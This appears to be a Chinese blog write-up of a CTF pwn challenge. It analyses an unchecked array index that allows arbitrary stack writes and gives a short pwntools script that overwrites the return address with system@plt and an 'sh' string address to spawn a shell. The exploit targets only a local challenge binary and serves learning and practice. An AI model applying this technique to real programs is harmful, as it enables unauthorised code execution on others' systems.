文章目录
  1. 1. 漏洞分析
  2. 2. 漏洞利用
  3. 3. exp如下:

这是全国大学生信息安全竞赛中的一道题,当初没有做出来,现在学习pwn拿出来练习一下。

漏洞分析

首先我们用IDA打开后直接审计存在漏洞函数的伪C语言代码。
这里的算法比较简单,就是读入index和value,把value存入相应的位置。


先读入index和value,然后存入s数组,但是由于没有下标判断,所以造成任意位置写。


我们发现位于0x08048615处有一个add函数,没有使用到,而且输出一个字符串后使用system调用date。即system(“date”)。所以我们可以向system函数传递sh字符串参数来拿到shell。

我们还发现了system的plt地址

漏洞利用

在这里我们通过输入的数字改变栈上的内容,也就是修改返回地址为system的地址和system函数的参数地址。

  1. 找到sh字符串,gdb-peda有这个功能,我们选用第一个”sh”。

esp地址处是函数调用的参数的地址,所以需要把sh的地址写到调用system时的esp处。不过我们还需要把他放到esp的地址处作为system调用的参数。

  1. 可以计算出,返回地址的位置是 s[44]所对应的一个 int 空间。我们把它改为system的地址0x080483E0

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = process('./pwn1')
system_plt = p32(0x080483E0)
sh_addr = p32(0x804828e)
p.sendline(str(44))
p.sendline(str(int(0xe0)))
p.sendline(str(45))
p.sendline(str(int(0x83)))
p.sendline(str(46))
p.sendline(str(int(0x04)))
p.sendline(str(47))
p.sendline(str(int(0x08)))
p.sendline(str(52))
p.sendline(str(int(0x8e)))
p.sendline(str(53))
p.sendline(str(int(0x82)))
p.sendline(str(54))
p.sendline(str(int(0x04)))
p.sendline(str(55))
p.sendline(str(int(0x08)))
p.interactive()

利用结果

文章目录
  1. 1. 漏洞分析
  2. 2. 漏洞利用
  3. 3. exp如下: